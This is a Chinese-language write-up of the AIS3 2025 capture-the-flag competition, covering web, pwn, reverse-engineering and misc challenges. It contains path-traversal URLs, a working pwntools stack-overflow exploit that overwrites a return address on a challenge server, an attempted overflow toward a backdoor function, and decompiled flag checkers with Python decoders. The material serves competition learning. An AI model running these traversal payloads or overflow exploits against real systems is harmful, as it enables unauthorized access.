---
# System prepended metadata

title: AIS3_2025_Writeup

---

# AIS3_2025
![image](https://hackmd.io/_uploads/ryqZNn-Ggl.png)

## Web writeup

### Tomorindb
![image](https://hackmd.io/_uploads/Skxj7E_Mxl.png =60%x) 

Brute-forcing Hidden Paths 路徑穿越
```
http://ais3.org.....//%2fflag
```
我那時候查gpt查出來好像是因為server使用go語言
所以在解析的時候會讓重新定向暫停下來
然後就有flag了!!!

![image](https://hackmd.io/_uploads/Hkt8SVuzlg.png) 

---

### AIS3 Tiny Server Web/Misc

![image](https://hackmd.io/_uploads/ryDxuNufxl.png)

開token instance後
curl 網址/..%2f..%2f..%2f..%2f噴出看起來可以開flag的資料
curl 網址/..%2f..%2f..%2f..%2f/readable_flag.....
Ya~找到flag了 
![image](https://hackmd.io/_uploads/SJJzKVdMll.png)

---

### Login Screen 1
![image](https://hackmd.io/_uploads/BkxW9EOGxl.png =60%x)

開burpsuite 攔截admin封包
改成request dashboard.php就噴flag了
![image](https://hackmd.io/_uploads/BJBhgB_Mxg.png)



## PWN writeup

### Welcome to the World of Ave Mujica🌙

![image](https://hackmd.io/_uploads/BJxRbHOMxg.png)

此程式會提供3個輸入
yes
127 (大於127會提示太長了)(不能輸入非數字)
最後一個輸入會將資料從0x7fffffffd9d0(rsp)讀進去
![image](https://hackmd.io/_uploads/S1jMxJJfgl.png)

想到了第二個輸入改成-1這樣就可以輸入255個bytes了
payload
```python
from pwn import *

p = remote('chals1.ais3.org', 60275)

sleep(0.3)

p.sendline(b'yes')

sleep(0.3)

p.sendline(b'-1')

payload = b'a' * 168 + p64(0x401256)

sleep(0.3)

p.sendline(payload)

sleep(0.3)

p.interactive()
```
![image](https://hackmd.io/_uploads/ByaPj1Jzxx.png)
![image](https://hackmd.io/_uploads/Sk_80gJzxg.png)

---
### Format_Number

![image](https://hackmd.io/_uploads/Hy8-9KdMxl.png =60%x)


![image](https://hackmd.io/_uploads/B1HZuLkzxl.png)
程式會讓你輸入數字或是符號去控制format，但還是不知道漏洞是什麼
![image](https://hackmd.io/_uploads/ry7v_LkGxe.png)
但因為防護都開起來了，所以猜測應該就是一題format string vul問題...

這題我最後試了把所有符號跟數字的組合都暴力了一次但我還是不知道怎樣去利用string format漏洞去讀取flag(用gdb掃描後確認應該是放在input(char format[0x10])後面8 bytes)

最後我有想說如果我輸入"\0"讓check_format不能作用，但因為strcat一遇到"\0"就會停止取值，所以也沒有用...
最後還是沒解出來QQ

---
### MyGO schedule manager α
![image](https://hackmd.io/_uploads/HJjqQ5Ofgx.png =60%x)


想辦法 call debug_backdoor(0x4012a8    ) -> 取得shell print flag

🧨 攻擊目標：call debug_backdoor()（已知地址）
✅ 1. 修改 content.ptr 指向 debug_backdoor()，觸發 edit_content()
思路：
Overflow title，覆蓋掉 content 結構

將 content._M_dataplus._M_p 設為 0x4011B6（或你算出來的地址）

接著選擇 edit_content() → C++ std::string::operator=() 裡會操作這個 pointer，導致間接呼叫你控制的函數指標

![image](https://hackmd.io/_uploads/rkr0VFgGlx.png)
payload ->
輸入流程是
MyGO!!!!!
TomorinIsCute
1
aaa
aaa
2
aaaaaaaaaaaaaaaaaaaaaaaa + p64(0x00000000004012a8)
4

我的攻擊思路是:
我create一個
schedule
title : aaaa
content: aaaa
然後我再edit title
輸入 24個a(padding) + 8個A
然後我用gdb發現他有overflow到 sched裡的content
然後我再show sched
成功的 segmentation fault
這是不是代表說我可以把backdoor的address 寫成payload overflow 到 content中
然後藉此可能就會不小心call 過去 debug_backdoor()
取得shell

因為這一題前面有很多多餘的輸入程序
我有修改成簡單版的程式自己測試看看上述所說的方式是否可行
結果就算成功把back_door的address覆蓋過去，實際上程式執行似乎也沒有去call那個address所以應該不行這樣解。
因此這題也沒解出來QQ



## Reverse writeup
### AIS3 Tiny Server - Reverse
![image](https://hackmd.io/_uploads/Bk6BmBdGxl.png =60%x)

把tiny此binary丟給ghidra分析
透過string searcher找到flag相關string
追本溯源到以下分析flag的function
把以下source code 丟gpt幫我解碼就成功了~~~
![image](https://hackmd.io/_uploads/BJtoKBuMgx.png)

```

bool FUN_00011e20(int param_1)

{
  byte bVar1;
  int iVar2;
  uint uVar3;
  uint uVar4;
  byte bVar5;
  undefined4 local_49;
  undefined4 local_45;
  undefined2 local_41;
  undefined4 local_3e;
  undefined4 local_3a;
  undefined4 local_36;
  undefined4 local_32;
  undefined4 local_2e;
  undefined4 local_2a;
  undefined4 local_26;
  undefined4 local_22;
  undefined4 local_1e;
  undefined4 local_1a;
  undefined4 local_16;
  undefined2 local_12;
  
  bVar5 = 0x33;
  local_12 = 0x14;
  bVar1 = 0x72;
  local_3e = 0x58382033;
  local_3a = 0x475c2812;
  local_36 = 0xf2d5229;
  local_32 = 0xe0a5a;
  local_2e = 0x5013580f;
  local_2a = 0x34195a19;
  local_26 = 0x43333158;
  local_22 = 0x5a044113;
  local_1e = 0x2c583419;
  local_1a = 0x3465333;
  local_16 = 0x4a4a481e;
  local_49 = 0x6b6b6972;
  local_45 = 0x306c5f69;
  local_41 = 0x3376;
  uVar3 = 0;
  while( true ) {
    *(byte *)((int)&local_3e + uVar3) = bVar1 ^ bVar5;
    uVar4 = uVar3 + 1;
    if (uVar4 == 0x2d) break;
    bVar5 = *(byte *)((int)&local_3e + uVar3 + 1);
    bVar1 = *(byte *)((int)&local_49 + uVar4 % 10);
    uVar3 = uVar4;
  }
  iVar2 = 0;
  while ((*(char *)(param_1 + iVar2) != '\0' &&
         (*(char *)(param_1 + iVar2) == *(char *)((int)&local_3e + iVar2)))) {
    iVar2 = iVar2 + 1;
    if (iVar2 == 0x2d) {
      return *(char *)(param_1 + 0x2d) == '\0';
    }
  }
  return false;
}

```
![image](https://hackmd.io/_uploads/B1GhgTxGel.png)

---
### A_simple_snake_game
![image](https://hackmd.io/_uploads/S1FtEB_Mxe.png =60%x)
丟ghidra後
找到Screen class 中的 drawText function
根據裡面的邏輯寫python payload.
flag就解出來了~~~
```

/* SnakeGame::Screen::drawText(int, int) */

void SnakeGame::Screen::drawText(int param_1,int param_2)

{
  byte bVar1;
  byte bVar2;
  uint uVar3;
  byte *pbVar4;
  int *piVar5;
  char *pcVar6;
  undefined4 uVar7;
  SjLj_Function_Context local_f4;
  undefined *local_d4;
  undefined *local_d0;
  undefined *local_cc;
  int local_c0;
  undefined4 local_af;
  undefined4 local_ab;
  undefined4 local_a7;
  undefined4 local_a3;
  undefined4 local_9f;
  undefined4 local_9b;
  undefined4 local_97;
  undefined4 local_93;
  undefined4 local_8f;
  undefined4 local_8b;
  undefined2 local_87;
  undefined local_85;
  undefined4 local_84;
  undefined4 local_80;
  undefined4 local_7c;
  undefined4 local_78;
  undefined4 local_74;
  undefined4 local_70 [6];
  undefined4 local_58;
  undefined4 local_54;
  undefined4 local_50;
  undefined4 local_4c;
  undefined4 local_48;
  undefined4 local_44 [7];
  int local_28;
  int local_24;
  uint local_20;
  
  local_d4 = &stack0xfffffffc;
  local_cc = &stack0xfffffef4;
  local_f4.personality = (_Unwind_Personality_Fn)&___gxx_personality_sj0;
  local_f4.lsda = &DAT_004dff02;
  local_d0 = &LAB_00402dc5;
  _Unwind_SjLj_Register(&local_f4);
  if ((param_1 < 0xaebc1c) || (param_2 < 0x4d63)) {
    local_f4.call_site = -1;
    createText[abi:cxx11]((char)local_44,(char)local_c0,param_1,param_2);
    local_48 = 0xffffff;
    std::__cxx11::basic_string<>::c_str(local_44);
    local_f4.call_site = 3;
    uVar7 = _TTF_RenderText_Solid();
    *(undefined4 *)(local_c0 + 0xc) = uVar7;
    uVar7 = _SDL_CreateTextureFromSurface();
    *(undefined4 *)(local_c0 + 0x10) = uVar7;
    local_58 = 400;
    local_54 = 0x235;
    local_50 = 0x140;
    local_4c = 0x1e;
    _SDL_RenderCopy();
    std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_44);
  }
  else {
    local_af = 0xce695081;
    local_ab = 0xc1942bb5;
    local_a7 = 0xc38b136d;
    local_a3 = 0xdb0830c5;
    local_9f = 0x774cb209;
    local_9b = 0xed101c59;
    local_97 = 0x48eb2058;
    local_93 = 0x6529fecf;
    local_8f = 0x1d9d67f7;
    local_8b = 0xde102ea4;
    local_87 = 0x66fd;
    local_85 = 0x28;
    std::allocator<char>::allocator();
    local_f4.call_site = 1;
    std::__cxx11::basic_string<>::basic_string
              ((basic_string<> *)local_70,(undefined *)&local_af,0x2b);
    std::allocator<char>::~allocator();
    local_20 = 0;
    while( true ) {
      uVar3 = std::__cxx11::basic_string<>::length((int)local_70);
      if (uVar3 <= local_20) break;
      local_f4.call_site = 2;
      pbVar4 = (byte *)std::__cxx11::basic_string<>::operator[]((basic_string<> *)local_70,local_20)
      ;
      bVar1 = *pbVar4;
      bVar2 = (&hex_array1)[local_20];
      pbVar4 = (byte *)std::__cxx11::basic_string<>::operator[]((basic_string<> *)local_70,local_20)
      ;
      *pbVar4 = bVar1 ^ bVar2;
      local_20 = local_20 + 1;
    }
    local_74 = 0xffffff;
    std::__cxx11::basic_string<>::c_str(local_70);
    local_f4.call_site = 2;
    local_24 = _TTF_RenderText_Solid();
    if (local_24 == 0) {
      piVar5 = std::operator<<((int *)&std::cerr,"TTF_RenderText_Solid: ");
      pcVar6 = (char *)_SDL_GetError();
      piVar5 = std::operator<<(piVar5,pcVar6);
      std::basic_ostream<>::operator<<((basic_ostream<> *)piVar5,std::endl<>);
    }
    else {
      local_f4.call_site = 2;
      local_28 = _SDL_CreateTextureFromSurface();
      if (local_28 == 0) {
        piVar5 = std::operator<<((int *)&std::cerr,"SDL_CreateTextureFromSurface: ");
        pcVar6 = (char *)_SDL_GetError();
        piVar5 = std::operator<<(piVar5,pcVar6);
        std::basic_ostream<>::operator<<((basic_ostream<> *)piVar5,std::endl<>);
        _SDL_FreeSurface();
      }
      else {
        local_84 = 200;
        local_80 = 0x235;
        local_7c = 0x24e;
        local_78 = 0x1e;
        local_f4.call_site = 2;
        _SDL_RenderCopy();
        _SDL_FreeSurface();
        _SDL_DestroyTexture();
      }
    }
    std::__cxx11::basic_string<>::~basic_string((basic_string<> *)local_70);
  }
  _Unwind_SjLj_Unregister(&local_f4);
  return;
}


```
```python=
encrypted = [
    0x81, 0x50, 0x69, 0xce, 0xb5, 0x2b, 0x94, 0xc1,
    0x6d, 0x13, 0x8b, 0xc3, 0xc5, 0x30, 0x08, 0xdb,
    0x09, 0xb2, 0x4c, 0x77, 0x59, 0x1c, 0x10, 0xed,
    0x58, 0x20, 0xeb, 0x48, 0xcf, 0xfe, 0x29, 0x65,
    0xf7, 0x67, 0x9d, 0x1d, 0xa4, 0x2e, 0x10, 0xde,
    0xfd, 0x66, 0x28
]

hex_array1 = [
    0xc0, 0x19, 0x3a, 0xfd, 0xce, 0x68, 0xdc, 0xf2,
    0x0c, 0x47, 0xd4, 0x86, 0xab, 0x57, 0x39, 0xb5,
    0x3a, 0x8d, 0x13, 0x47, 0x3f, 0x7f, 0x71, 0x98,
    0x6d, 0x13, 0xb4, 0x01, 0x90, 0x9c, 0x46, 0x3a,
    0xc6, 0x33, 0xc2, 0x7f, 0xdd, 0x71, 0x78, 0x9f,
    0x93, 0x22, 0x55
]

decrypted = ''.join(chr(e ^ h) for e, h in zip(encrypted, hex_array1))
print("Decrypted flag:", decrypted)
```

![image](https://hackmd.io/_uploads/SyU0KW-fle.png)
這個flag蠻好笑的有打臉到我
我一開始想說ㄏㄏ我要用cheat engine把生命改成10000條
結果這個蛇一直自殺我還要一個視窗控制蛇不要去死，還要用cheat engine掃描，手直接一個忙不過來QQ

---

### web flag checker
![image](https://hackmd.io/_uploads/BJ8lYF_zeg.png =60%x)
這一題是將index.wasm反組譯得到以下關鍵flagchecker function，然後寫python payload解碼成flag
```
export function flagchecker(a:int):int {
  var b:int = g_a;
  var c:int = 96;
  var d:int = b - c;
  g_a = d;
  d[22]:int = a;
  var e:int = -39934163;
  d[21]:int = e;
  var f:int = 64;
  var g:long_ptr = d + f;
  var h:long = 0L;
  g[0] = h;
  var i:int = 56;
  var j:long_ptr = d + i;
  j[0] = h;
  var k:int = 48;
  var l:long_ptr = d + k;
  l[0] = h;
  d[5]:long = h;
  d[4]:long = h;
  var m:long = 7577352992956835434L;
  d[4]:long = m;
  var n:long = 7148661717033493303L;
  d[5]:long = n;
  var o:long = -7081446828746089091L;
  d[6]:long = o;
  var p:long = -7479441386887439825L;
  d[7]:long = p;
  var q:long = 8046961146294847270L;
  d[8]:long = q;
  var r:int = d[22]:int;
  var s:int = 0;
  var t:int = r != s;
  var u:int = 1;
  var v:int = t & u;
  if (eqz(v)) goto B_c;
  var w:int = d[22]:int;
  var x:int = f_n(w);
  var y:int = 40;
  var z:int = x != y;
  var aa:int = 1;
  var ba:int = z & aa;
  if (eqz(ba)) goto B_b;
  label B_c:
  var ca:int = 0;
  d[23]:int = ca;
  goto B_a;
  label B_b:
  var da:int = d[22]:int;
  d[7]:int = da;
  var ea:int = 0;
  d[6]:int = ea;
  loop L_e {
    var fa:int = d[6]:int;
    var ga:int = 5;
    var ha:int = fa < ga;
    var ia:int = 1;
    var ja:int = ha & ia;
    if (eqz(ja)) goto B_d;
    var ka:int = d[7]:int;
    var la:int = d[6]:int;
    var ma:int = 3;
    var na:int = la << ma;
    var oa:long_ptr = ka + na;
    var pa:long = oa[0];
    d[2]:long = pa;
    var qa:int = d[6]:int;
    var ra:int = 6;
    var sa:int = qa * ra;
    var ta:int = -39934163;
    var ua:int = ta >> sa;
    var va:int = 63;
    var wa:int = ua & va;
    d[3]:int = wa;
    var xa:long = d[2]:long;
    var ya:int = d[3]:int;
    var za:long = f_i(xa, ya);
    var ab:int = d[6]:int;
    var bb:int = 32;
    var cb:int = d + bb;
    var db:int = cb;
    var eb:int = 3;
    var fb:int = ab << eb;
    var gb:long_ptr = db + fb;
    var hb:long = gb[0];
    var ib:int = za != hb;
    var jb:int = 1;
    var kb:int = ib & jb;
    if (eqz(kb)) goto B_f;
    var lb:int = 0;
    d[23]:int = lb;
    goto B_a;
    label B_f:
    var mb:int = d[6]:int;
    var nb:int = 1;
    var ob:int = mb + nb;
    d[6]:int = ob;
    continue L_e;
  }
  label B_d:
  var pb:int = 1;
  d[23]:int = pb;
  label B_a:
  var qb:int = d[23]:int;
  var rb:int = 96;
  var sb:int = d + rb;
  g_a = sb;
  return qb;
}
```
```python=
def rotate_right(val, r_bits, max_bits=64):
    return ((val >> r_bits) | (val << (max_bits - r_bits))) & (2**max_bits - 1)

consts = [
    7577352992956835434,
    7148661717033493303,
    (1 << 64) - 7081446828746089091,  
    (1 << 64) - 7479441386887439825,
    8046961146294847270,
]

shift_base = -39934163 & 0xFFFFFFFF 
shifts = [ (shift_base >> (6*i)) & 0x3F for i in range(5) ]

flag_parts = []
for i in range(5):
    val = rotate_right(consts[i], shifts[i])
    flag_parts.append(val.to_bytes(8, 'little'))

flag_bytes = b''.join(flag_parts)
print(flag_bytes)
print(flag_bytes.decode('ascii'))  
```
![image](https://hackmd.io/_uploads/HJN019dMgg.png)

![image](https://hackmd.io/_uploads/S1ehC7-Ggl.png)

## Misc writeup
### Welcome
![image](https://hackmd.io/_uploads/SJfM6KdGle.png)
這題要自己打字不能複製貼上蠻酷的ㄏㄏ
複製貼上會變成這樣: A I S 3 { T h i s _ I s _ J u s t _ A _ F a k e _ F l a g _ ~ ~}
___

### Ramen CTF
![image](https://hackmd.io/_uploads/r1NdsKdGeg.png =60%x)
![image](https://hackmd.io/_uploads/rJhBv5OGge.png)
![image](https://hackmd.io/_uploads/r1oKElXfge.png)
![image](https://hackmd.io/_uploads/S1Vy2Y_Ggx.png)
![image](https://hackmd.io/_uploads/rk6f3FuMex.png)
![image](https://hackmd.io/_uploads/HyEFhKOfex.png)
AIS3{樂山溫泉拉麵:蝦拉麵}
 
 
 
---


